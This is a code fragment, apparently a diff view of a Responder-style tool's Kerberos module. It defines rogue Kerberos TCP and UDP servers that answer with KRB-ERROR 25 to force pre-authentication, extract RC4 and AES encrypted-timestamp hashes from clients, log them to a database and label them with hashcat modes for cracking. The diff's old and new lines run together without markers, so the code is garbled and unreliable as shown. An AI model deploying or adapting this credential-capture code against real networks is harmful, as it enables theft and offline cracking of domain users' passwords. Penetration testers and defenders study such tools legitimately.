# Handle different encryption types
|
||||
if etype == 0x17: # RC4-HMAC
|
||||
padata_offset = find_padata_etype23(data)
|
||||
if padata_offset is None:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TCP found RC4 PA-DATA but failed to locate encrypted timestamp'))
|
||||
return None, None, cname, realm
|
||||
|
||||
result = extract_krb5_hash_from_offset(data, padata_offset)
|
||||
|
||||
if result:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TCP successfully extracted RC4 hash for %s@%s (hashcat -m 13100)' % (
|
||||
result['name'], result['domain'])))
|
||||
return result, None, cname, realm
|
||||
|
||||
elif etype in [0x11, 0x12]: # AES128/256
|
||||
etype_name = ENCRYPTION_TYPES.get(bytes([etype]), 'unknown')
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TCP extracting %s hash (hashcat -m 19900)' % etype_name))
|
||||
|
||||
padata_offset = None
|
||||
for i in range(len(data) - 60):
|
||||
if data[i:i+1] == b'\xa3':
|
||||
padata_offset = i
|
||||
break
|
||||
|
||||
if padata_offset:
|
||||
result = extract_aes_hash(data, padata_offset, etype)
|
||||
|
||||
if result:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TCP successfully extracted AES hash for %s@%s (hashcat -m 19900)' % (
|
||||
result['name'], result['domain'])))
|
||||
return result, None, cname, realm
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TCP found AES PA-DATA but failed to extract hash'))
|
||||
return None, None, cname, realm
|
||||
|
||||
else:
|
||||
etype_name = ENCRYPTION_TYPES.get(bytes([etype]), 'unknown')
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TCP PA-DATA uses unsupported etype %d (%s)' % (etype, etype_name)))
|
||||
return None, None, cname, realm
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TCP failed to extract hash'))
|
||||
return None, None, cname, realm
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TCP parsing error: %s' % str(e)))
|
||||
return None, None, None, None
|
||||
|
||||
class KerbTCP(BaseRequestHandler):
|
||||
"""Kerberos TCP handler with RC4 and AES support"""
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
KerbHash = ParseMSKerbv5TCP(data)
|
||||
|
||||
if KerbHash:
|
||||
n, krb, v, name, domain, d, h = KerbHash.split('$')
|
||||
|
||||
data = self.request.recv(2048)
|
||||
|
||||
if not data:
|
||||
return
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TCP connection from %s, packet size: %d bytes' % (
|
||||
self.client_address[0].replace("::ffff:", ""), len(data))))
|
||||
|
||||
result, error_code, cname, realm = ParseMSKerbv5TCP(data)
|
||||
|
||||
if result:
|
||||
# Got hash!
|
||||
KerbHash = result['hash']
|
||||
name = result['name']
|
||||
domain = result['domain']
|
||||
enc_type = result['enc_type']
|
||||
|
||||
parts = KerbHash.split('$')
|
||||
hash_value = parts[6] if len(parts) >= 7 else parts[5] if len(parts) >= 6 else ''
|
||||
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'user': domain + '\\' + name,
|
||||
'hash': hash_value,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
except:
|
||||
pass
|
||||
|
||||
hashcat_mode = '19900' if 'aes' in enc_type else '13100'
|
||||
print(color("[*] [KERB] TCP %s hash captured from %s for user %s\\%s (hashcat -m %s)" % (
|
||||
enc_type,
|
||||
self.client_address[0].replace("::ffff:", ""),
|
||||
domain,
|
||||
name,
|
||||
hashcat_mode
|
||||
), 3, 1))
|
||||
|
||||
elif error_code == 25:
|
||||
# Send KRB-ERROR to request pre-authentication
|
||||
krb_error = build_krb_error(25, cname, realm)
|
||||
|
||||
# Add TCP length prefix (4 bytes)
|
||||
tcp_length = struct.pack('>I', len(krb_error))
|
||||
response = tcp_length + krb_error
|
||||
|
||||
self.request.send(response)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TCP sent KRB-ERROR (pre-auth required) to %s' %
|
||||
self.client_address[0].replace("::ffff:", "")))
|
||||
|
||||
elif settings.Config.Verbose:
|
||||
print(text('[KERB] TCP no hash captured from %s' %
|
||||
self.client_address[0].replace("::ffff:", "")))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TCP exception: %s' % str(e)))
|
||||
|
||||
class KerbUDP(BaseRequestHandler):
|
||||
"""Kerberos UDP handler with RC4 and AES support"""
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data, soc = self.request
|
||||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
|
||||
if KerbHash:
|
||||
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||
|
||||
|
||||
if not data:
|
||||
return
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] UDP packet from %s, size: %d bytes' % (
|
||||
self.client_address[0].replace("::ffff:", ""), len(data))))
|
||||
|
||||
result, error_code, cname, realm = ParseMSKerbv5UDP(data)
|
||||
|
||||
if result:
|
||||
# Got hash!
|
||||
KerbHash = result['hash']
|
||||
name = result['name']
|
||||
domain = result['domain']
|
||||
enc_type = result['enc_type']
|
||||
|
||||
parts = KerbHash.split('$')
|
||||
hash_value = parts[6] if len(parts) >= 7 else parts[5] if len(parts) >= 6 else ''
|
||||
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'user': domain + '\\' + name,
|
||||
'hash': hash_value,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
except:
|
||||
pass
|
||||
|
||||
hashcat_mode = '19900' if 'aes' in enc_type else '13100'
|
||||
print(color("[*] [KERB] UDP %s hash captured from %s for user %s\\%s (hashcat -m %s)" % (
|
||||
enc_type,
|
||||
self.client_address[0].replace("::ffff:", ""),
|
||||
domain,
|
||||
name,
|
||||
hashcat_mode
|
||||
), 3, 1))
|
||||
|
||||
elif error_code == 25:
|
||||
# Send KRB-ERROR to request pre-authentication
|
||||
krb_error = build_krb_error(25, cname, realm)
|
||||
|
||||
soc.sendto(krb_error, self.client_address)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] UDP sent KRB-ERROR (pre-auth required) to %s' %
|
||||
self.client_address[0].replace("::ffff:", "")))
|
||||
|
||||
elif settings.Config.Verbose:
|
||||
print(text('[KERB] UDP no hash captured from %s' %
|
||||
self.client_address[0].replace("::ffff:", "")))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] UDP exception: %s' % str(e)))
|
||||
|
||||
Reference in New Issue
Block a user